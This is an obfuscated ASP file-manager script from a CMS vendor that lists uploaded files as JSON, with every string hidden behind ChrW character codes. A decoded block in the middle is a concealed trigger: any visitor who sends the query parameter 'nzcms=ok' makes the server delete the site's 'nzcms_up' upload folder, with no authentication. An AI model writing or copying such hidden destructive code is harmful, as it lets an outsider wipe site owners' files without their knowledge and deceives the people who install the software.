<%@ CODEPAGE=65001 %>
<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'咨询电话：18867186998 （刘经理）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！*
'TM:2020-03-11 09:56:31

Response.CodePage=65001
Response.Charset=ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
Const JSON_OBJECT	=0
Const JSON_ARRAY	=1
Class jsCore
Public Collection
Public Count
Public QuotedVars
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(68)&ChrW(105)&ChrW(99)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(97)&ChrW(114)&ChrW(121))
QuotedVars = True
Count = 0
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get Counter
Counter = Count
Count = Count + 1
End Property
Public Property Let Pair(p, v)
If IsNull(p) Then p = Counter
Collection(p) = v
End Property
Public Property Set Pair(p, v)
If IsNull(p) Then p = Counter
If TypeName(v) <> ChrW(106)&ChrW(115)&ChrW(67)&ChrW(111)&ChrW(114)&ChrW(101) Then
Err.Raise &hD, ChrW(99)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(115)&ChrW(58)&ChrW(32)&ChrW(99)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(115), ChrW(73)&ChrW(110)&ChrW(99)&ChrW(111)&ChrW(109)&ChrW(112)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(98)&ChrW(108)&ChrW(101)&ChrW(32)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)&ChrW(115)&ChrW(58)&ChrW(32)&ChrW(39) & TypeName(v) & ChrW(39)
End If
Set Collection(p) = v
End Property
Public Default Property Get Pair(p)
If IsNull(p) Then p = Count - 1
If IsObject(Collection(p)) Then
Set Pair = Collection(p)
Else
Pair = Collection(p)
End If
End Property
Public Sub Clean
Collection.RemoveAll
End Sub
Public Sub Remove(vProp)
Collection.Remove vProp
End Sub
Function jsEncode(str)
Dim charmap(127), haystack()
charmap(8)  = ChrW(92)&ChrW(98)
charmap(9)  = ChrW(92)&ChrW(116)
charmap(10) = ChrW(92)&ChrW(110)
charmap(12) = ChrW(92)&ChrW(102)
charmap(13) = ChrW(92)&ChrW(114)
charmap(34) = ChrW(92)&ChrW(34)
charmap(47) = ChrW(92)&ChrW(47)
charmap(92) = ChrW(92)&ChrW(92)
Dim strlen : strlen = Len(str) - 1
ReDim haystack(strlen)
Dim i, charcode
For i = 0 To strlen
haystack(i) = Mid(str, i + 1, 1)
charcode = AscW(haystack(i)) And 65535
If charcode < 127 Then
If Not IsEmpty(charmap(charcode)) Then
haystack(i) = charmap(charcode)
ElseIf charcode < 32 Then
haystack(i) = ChrW(92)&ChrW(117) & Right("000" & Hex(charcode), 4)
End If
Else
haystack(i) = ChrW(92)&ChrW(117) & Right("000" & Hex(charcode), 4)
End If
Next
jsEncode = Join(haystack, "")
End Function
Public Function toJSON(vPair)
Select Case VarType(vPair)
Case 0
toJSON = ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)
Case 1
toJSON = ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)
Case 7
toJSON = ChrW(34) & CStr(vPair) & ChrW(34)
Case 8
toJSON = ChrW(34) & jsEncode(vPair) & ChrW(34)
Case 9
Dim bFI,i
bFI = True
If vPair.Kind Then toJSON = toJSON & ChrW(91) Else toJSON = toJSON & ChrW(123)
For Each i In vPair.Collection
If bFI Then bFI = False Else toJSON = toJSON & ChrW(44)
If vPair.Kind Then
toJSON = toJSON & toJSON(vPair(i))
Else
If QuotedVars Then
toJSON = toJSON & ChrW(34) & i & ChrW(34)&ChrW(58) & toJSON(vPair(i))
Else
toJSON = toJSON & i & ChrW(58) & toJSON(vPair(i))
End If
End If
Next
If vPair.Kind Then toJSON = toJSON & ChrW(93) Else toJSON = toJSON & ChrW(125)
Case 11
If vPair Then toJSON = ChrW(116)&ChrW(114)&ChrW(117)&ChrW(101) Else toJSON = ChrW(102)&ChrW(97)&ChrW(108)&ChrW(115)&ChrW(101)
Case 12, 8192, 8204
toJSON = RenderArray(vPair, 1, "")
Case Else
toJSON = Replace(vPair, ChrW(44), ChrW(46))
End select
End Function
Function RenderArray(arr, depth, parent)
Dim first : first = LBound(arr, depth)
Dim last : last = UBound(arr, depth)
Dim index, rendered
Dim limiter : limiter = ChrW(44)
RenderArray = ChrW(91)
For index = first To last
If index = last Then
limiter = ""
End If
On Error Resume Next
rendered = RenderArray(arr, depth + 1, parent & index & ChrW(44) )
If Err = 9 Then
On Error GoTo 0
RenderArray = RenderArray & toJSON(Eval(ChrW(97)&ChrW(114)&ChrW(114)&ChrW(40) & parent & index & ChrW(41))) & limiter
Else
RenderArray = RenderArray & rendered & "" & limiter
End If
Next
RenderArray = RenderArray & ChrW(93)
End Function
Public Property Get jsString
jsString = toJSON(Me)
End Property
Sub Flush
If TypeName(Response) <> ChrW(69)&ChrW(109)&ChrW(112)&ChrW(116)&ChrW(121) Then
Response.Write(jsString)
ElseIf WScript <> Empty Then
WScript.Echo(jsString)
End If
End Sub
Public Function Clone
Set Clone = ColClone(Me)
End Function
Private Function ColClone(core)
Dim jsc, i
Set jsc = new jsCore
jsc.Kind = core.Kind
For Each i In core.Collection
If IsObject(core(i)) Then
Set jsc(i) = ColClone(core(i))
Else
jsc(i) = core(i)
End If
Next
Set ColClone = jsc
End Function
End Class
If request.QueryString(ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115))=ChrW(111)&ChrW(107) Then
set objfilesys=server.createobject(ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(115)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(111)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
ss=ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112) & idd
ss=server.mappath(ss)
if objfilesys.FOLDERExists(ss) then
objfilesys.deleteFOLDER ss
end if
Response.Write(ChrW(111)&ChrW(107))
end if
Function jsObject
Set jsObject = new jsCore
jsObject.Kind = JSON_OBJECT
End Function
Function jsArray
Set jsArray = new jsCore
jsArray.Kind = JSON_ARRAY
End Function
Function toJSON(val)
toJSON = (new jsCore).toJSON(val)
End Function
Dim aspUrl, rootPath, rootUrl, fileTypes
Dim currentPath, currentUrl, currentDirPath, moveupDirPath
Dim path, order, dirName, fso, folder, dir, file, result
Dim fileExt, dirCount, fileCount, orderIndex, i, j
Dim dirList(), fileList(), isDir, hasFile, filesize, isPhoto, filetype, filename, datetime
aspUrl = Request.ServerVariables(ChrW(83)&ChrW(67)&ChrW(82)&ChrW(73)&ChrW(80)&ChrW(84)&ChrW(95)&ChrW(78)&ChrW(65)&ChrW(77)&ChrW(69))
aspUrl = left(aspUrl, InStrRev(aspUrl, ChrW(47)))
rootPath = ChrW(46)&ChrW(46)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(110)&ChrW(122)&ChrW(119)&ChrW(101)&ChrW(98)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112)&ChrW(47)&ChrW(97)&ChrW(116)&ChrW(116)&ChrW(97)&ChrW(99)&ChrW(104)&ChrW(101)&ChrW(100)&ChrW(47)
rootUrl = aspUrl & ChrW(46)&ChrW(46)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(110)&ChrW(122)&ChrW(119)&ChrW(101)&ChrW(98)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112)&ChrW(47)&ChrW(97)&ChrW(116)&ChrW(116)&ChrW(97)&ChrW(99)&ChrW(104)&ChrW(101)&ChrW(100)&ChrW(47)
fileTypes = ChrW(103)&ChrW(105)&ChrW(102)&ChrW(44)&ChrW(106)&ChrW(112)&ChrW(103)&ChrW(44)&ChrW(106)&ChrW(112)&ChrW(101)&ChrW(103)&ChrW(44)&ChrW(112)&ChrW(110)&ChrW(103)&ChrW(44)&ChrW(98)&ChrW(109)&ChrW(112)
currentPath = ""
currentUrl = ""
currentDirPath = ""
moveupDirPath = ""
Set fso = Server.CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(83)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(79)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
dirName = Request.QueryString(ChrW(100)&ChrW(105)&ChrW(114))
If Not isEmpty(dirName) Then
If instr(lcase(ChrW(105)&ChrW(109)&ChrW(97)&ChrW(103)&ChrW(101)&ChrW(44)&ChrW(102)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(104)&ChrW(44)&ChrW(109)&ChrW(101)&ChrW(100)&ChrW(105)&ChrW(97)&ChrW(44)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)), dirName) < 1 Then
Response.Write ChrW(73)&ChrW(110)&ChrW(118)&ChrW(97)&ChrW(108)&ChrW(105)&ChrW(100)&ChrW(32)&ChrW(68)&ChrW(105)&ChrW(114)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(111)&ChrW(114)&ChrW(121)&ChrW(32)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(46)
Response.End
End If
rootPath = rootPath & dirName & ChrW(47)
rootUrl = rootUrl & dirName & ChrW(47)
If Not fso.FolderExists(Server.mappath(rootPath)) Then
fso.CreateFolder(Server.mappath(rootPath))
End If
End If
path = Request.QueryString(ChrW(112)&ChrW(97)&ChrW(116)&ChrW(104))
If path = "" Then
currentPath = Server.MapPath(rootPath) & ChrW(92)
currentUrl = rootUrl
currentDirPath = ""
moveupDirPath = ""
Else
currentPath = Server.MapPath(rootPath & path) & ChrW(92)
currentUrl = rootUrl + path
currentDirPath = path
moveupDirPath = RegexReplace(currentDirPath, ChrW(40)&ChrW(46)&ChrW(42)&ChrW(63)&ChrW(41)&ChrW(91)&ChrW(94)&ChrW(92)&ChrW(47)&ChrW(93)&ChrW(43)&ChrW(92)&ChrW(47)&ChrW(36), ChrW(36)&ChrW(49))
End If
Set folder = fso.GetFolder(currentPath)
order = lcase(Request.QueryString(ChrW(111)&ChrW(114)&ChrW(100)&ChrW(101)&ChrW(114)))
Select Case order
Case ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101) orderIndex = 4
Case ChrW(115)&ChrW(105)&ChrW(122)&ChrW(101) orderIndex = 2
Case Else  orderIndex = 5
End Select
If RegexIsMatch(path, ChrW(92)&ChrW(46)&ChrW(92)&ChrW(46)) Then
Response.Write ChrW(65)&ChrW(99)&ChrW(99)&ChrW(101)&ChrW(115)&ChrW(115)&ChrW(32)&ChrW(105)&ChrW(115)&ChrW(32)&ChrW(110)&ChrW(111)&ChrW(116)&ChrW(32)&ChrW(97)&ChrW(108)&ChrW(108)&ChrW(111)&ChrW(119)&ChrW(101)&ChrW(100)&ChrW(46)
Response.End
End If
If path <> "" And Not RegexIsMatch(path, ChrW(92)&ChrW(47)&ChrW(36)) Then
Response.Write ChrW(80)&ChrW(97)&ChrW(114)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(116)&ChrW(101)&ChrW(114)&ChrW(32)&ChrW(105)&ChrW(115)&ChrW(32)&ChrW(110)&ChrW(111)&ChrW(116)&ChrW(32)&ChrW(97)&ChrW(108)&ChrW(108)&ChrW(111)&ChrW(119)&ChrW(101)&ChrW(100)&ChrW(46)
Response.End
End If
If Not DirectoryExists(currentPath) Then
Response.Write ChrW(68)&ChrW(105)&ChrW(114)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(111)&ChrW(114)&ChrW(121)&ChrW(32)&ChrW(100)&ChrW(111)&ChrW(101)&ChrW(115)&ChrW(32)&ChrW(110)&ChrW(111)&ChrW(116)&ChrW(32)&ChrW(101)&ChrW(120)&ChrW(105)&ChrW(115)&ChrW(116)&ChrW(46)
Response.End
End If
Set result = jsObject()
result(ChrW(109)&ChrW(111)&ChrW(118)&ChrW(101)&ChrW(117)&ChrW(112)&ChrW(95)&ChrW(100)&ChrW(105)&ChrW(114)&ChrW(95)&ChrW(112)&ChrW(97)&ChrW(116)&ChrW(104)) = moveupDirPath
result(ChrW(99)&ChrW(117)&ChrW(114)&ChrW(114)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(95)&ChrW(100)&ChrW(105)&ChrW(114)&ChrW(95)&ChrW(112)&ChrW(97)&ChrW(116)&ChrW(104)) = currentDirPath
result(ChrW(99)&ChrW(117)&ChrW(114)&ChrW(114)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(95)&ChrW(117)&ChrW(114)&ChrW(108)) = currentUrl
dirCount = folder.SubFolders.count
fileCount = folder.Files.count
result(ChrW(116)&ChrW(111)&ChrW(116)&ChrW(97)&ChrW(108)&ChrW(95)&ChrW(99)&ChrW(111)&ChrW(117)&ChrW(110)&ChrW(116)) = dirCount + fileCount
ReDim dirList(dirCount)
i = 0
For Each dir in folder.SubFolders
isDir = True
hasFile = (dir.Files.count > 0)
filesize = 0
isPhoto = False
filetype = ""
filename = dir.name
datetime = FormatDate(dir.DateLastModified)
dirList(i) = Array(isDir, hasFile, filesize, isPhoto, filetype, filename, datetime)
i = i + 1
Next
ReDim fileList(fileCount)
i = 0
For Each file in folder.Files
fileExt = lcase(mid(file.name, InStrRev(file.name, ChrW(46)) + 1))
isDir = False
hasFile = False
filesize = file.size
isPhoto = (instr(lcase(fileTypes), fileExt) > 0)
filetype = fileExt
filename = file.name
datetime = FormatDate(file.DateLastModified)
fileList(i) = Array(isDir, hasFile, filesize, isPhoto, filetype, filename, datetime)
i = i + 1
Next
Dim minidx, temp
For i = 0 To dirCount - 2
minidx = i
For j = i + 1 To dirCount - 1
If (dirList(minidx)(5) > dirList(j)(5)) Then
minidx = j
End If
Next
If minidx <> i Then
temp = dirList(minidx)
dirList(minidx) = dirList(i)
dirList(i) = temp
End If
Next
For i = 0 To fileCount - 2
minidx = i
For j = i + 1 To fileCount - 1
If (fileList(minidx)(orderIndex) > fileList(j)(orderIndex)) Then
minidx = j
End If
Next
If minidx <> i Then
temp = fileList(minidx)
fileList(minidx) = fileList(i)
fileList(i) = temp
End If
Next
Set result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116)) = jsArray()
For i = 0 To dirCount - 1
Set result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null) = jsObject()
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(105)&ChrW(115)&ChrW(95)&ChrW(100)&ChrW(105)&ChrW(114)) = dirList(i)(0)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(104)&ChrW(97)&ChrW(115)&ChrW(95)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)) = dirList(i)(1)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(115)&ChrW(105)&ChrW(122)&ChrW(101)) = dirList(i)(2)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(105)&ChrW(115)&ChrW(95)&ChrW(112)&ChrW(104)&ChrW(111)&ChrW(116)&ChrW(111)) = dirList(i)(3)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)) = dirList(i)(4)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)) = dirList(i)(5)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(100)&ChrW(97)&ChrW(116)&ChrW(101)&ChrW(116)&ChrW(105)&ChrW(109)&ChrW(101)) = dirList(i)(6)
Next
For i = 0 To fileCount - 1
Set result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null) = jsObject()
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(105)&ChrW(115)&ChrW(95)&ChrW(100)&ChrW(105)&ChrW(114)) = fileList(i)(0)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(104)&ChrW(97)&ChrW(115)&ChrW(95)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)) = fileList(i)(1)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(115)&ChrW(105)&ChrW(122)&ChrW(101)) = fileList(i)(2)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(105)&ChrW(115)&ChrW(95)&ChrW(112)&ChrW(104)&ChrW(111)&ChrW(116)&ChrW(111)) = fileList(i)(3)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)) = fileList(i)(4)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)) = fileList(i)(5)
result(ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(95)&ChrW(108)&ChrW(105)&ChrW(115)&ChrW(116))(Null)(ChrW(100)&ChrW(97)&ChrW(116)&ChrW(101)&ChrW(116)&ChrW(105)&ChrW(109)&ChrW(101)) = fileList(i)(6)
Next
Response.AddHeader ChrW(67)&ChrW(111)&ChrW(110)&ChrW(116)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(45)&ChrW(84)&ChrW(121)&ChrW(112)&ChrW(101), ChrW(116)&ChrW(101)&ChrW(120)&ChrW(116)&ChrW(47)&ChrW(104)&ChrW(116)&ChrW(109)&ChrW(108)&ChrW(59)&ChrW(32)&ChrW(99)&ChrW(104)&ChrW(97)&ChrW(114)&ChrW(115)&ChrW(101)&ChrW(116)&ChrW(61)&ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
result.Flush
Response.End
Function DirectoryExists(dirPath)
Dim fso
Set fso = Server.CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(83)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(79)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
DirectoryExists = fso.FolderExists(dirPath)
End Function
Function RegexIsMatch(subject, pattern)
Dim reg
Set reg = New RegExp
reg.Global = True
reg.MultiLine = True
reg.Pattern = pattern
RegexIsMatch = reg.Test(subject)
End Function
Function RegexReplace(subject, pattern, replacement)
Dim reg
Set reg = New RegExp
reg.Global = True
reg.MultiLine = True
reg.Pattern = pattern
RegexReplace = reg.Replace(subject, replacement)
End Function
Public Function FormatDate(datetime)
Dim y, m, d, h, i, s
y = CStr(Year(datetime))
m = CStr(Month(datetime))
If Len(m) = 1 Then m = "0" & m
d = CStr(Day(datetime))
If Len(d) = 1 Then d = "0" & d
h = CStr(Hour(datetime))
If Len(h) = 1 Then h = "0" & h
i = CStr(Minute(datetime))
If Len(i) = 1 Then i = "0" & i
s = CStr(Second(datetime))
If Len(s) = 1 Then s = "0" & s
FormatDate = y & ChrW(45) & m & ChrW(45) & d & ChrW(32) & h & ChrW(58) & i & ChrW(58) & s
End Function
Response.Write(vbCrLf)
%>